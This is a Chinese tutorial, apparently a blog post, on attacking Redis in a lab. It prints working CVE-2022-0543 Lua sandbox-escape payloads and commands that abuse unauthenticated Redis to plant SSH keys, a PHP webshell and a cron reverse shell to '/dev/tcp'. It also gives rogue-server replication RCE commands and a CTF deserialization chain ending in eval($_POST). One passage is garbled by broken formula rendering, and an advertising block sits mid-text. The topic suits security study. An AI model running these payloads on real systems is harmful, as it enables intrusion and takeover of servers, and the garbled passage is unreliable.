数据库攻防学习之Redis

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。

ubuntu 20.04+docker

bash 复制代码
docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。

0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意

Lua

功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意

Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

代码如下

c 复制代码
local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

payload如下

c 复制代码
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

c 复制代码
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

这里可以用another redis 这个个管理工具,方便redis数据库使用

c 复制代码
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。

攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

bash 复制代码
ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

这里权限不够,这个是vulfocus有问题

满足条件的话可以直接这样,可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

yes要改成no

环境启动,接着

bash 复制代码
config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

尝试SSH连接

bash 复制代码
ssh -i id_rsa root@192.168.48.133

可以看到成功拿下

2.写入webshell

前提条件,有可写权限,存在web服务,知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件,web目录可以读写

bash 复制代码
config set dir /tmp 设置WEB写入目录

config set dbfilename test.php 设置写入文件名

set test "<?php phpinfo();?>" 设置写入文件代码

set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败

bgsave 保存执行

save

chmod -R 777 /var/www/html/

这里设置html尝试写入webshell

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

bash 复制代码
config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"

config set dbfilename x

save

set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

可以看到有乱码,ubuntu并未正常执行

主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

bash 复制代码
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IP

python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

redis-rogue-getshell

这里记得要编译

bash 复制代码
cd RedisModulesSDK/

make

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况

天翼杯

考点反序列化,redis主从复制RCE代码

php 复制代码
<?php

class a{

public $code = "";

function __call($method,$args){

eval($this->code);

}

// function __wakeup(){

// $this->code = "";

// }

}

class b{

function __destruct(){

echo $this->a->a();

}

}

$a=new A();

$b=new B();

$a->code="phpinfo();";

$b->a=$a;

echo
serialize($b);

构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。

__call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法

这里__destruct方法调用了一个不存在的a方法,那么会调用到__call方法

因为__wakeup方法中 t h i s − > c o d e = " " ; 还有 p r e g m a t c h a l l ( ′ / " [ B A ] " : ( . ∗ ? ) : / s ′ , this->code = "";还有preg_match_all('/"[BA]":(.*?):/s', this−>code="";还有pregmatchall(′/"[BA]":(.∗?):/s′,_REQUEST['poc'],$ret);这里有过滤,所以接下来要做到绕过__wakeup和正则,这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

这里无法执行system("ls")

蚁剑连接 a − > c o d e = " e v a l ( a->code="eval( a−>code="eval(_POST["a"]);";

打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上

使用EXP.so文件

MODULE LOAD /var/www/html/exp.so

然后就可以进行命令执行了

若有收获,就点个赞吧

相关推荐
Hello.Reader3 分钟前
Redis热点数据管理全解析:从MySQL同步到高效缓存的完整解决方案
redis·mysql·缓存
C++忠实粉丝2 小时前
Redis 介绍和安装
数据库·redis·缓存
ClouGence3 小时前
Redis 到 Redis 数据迁移同步
数据库·redis·缓存
苏三说技术3 小时前
Redis 性能优化的18招
数据库·redis·性能优化
Tttian6223 小时前
基于Pycharm与数据库的新闻管理系统(2)Redis
数据库·redis·pycharm
言之。4 小时前
redis延迟队列
redis
hanbarger5 小时前
nosql,Redis,minio,elasticsearch
数据库·redis·nosql
弗罗里达老大爷5 小时前
Redis
数据库·redis·缓存
DT辰白20 小时前
基于Redis的网关鉴权方案与性能优化
数据库·redis·缓存
木子七21 小时前
Redis-十大数据类型
redis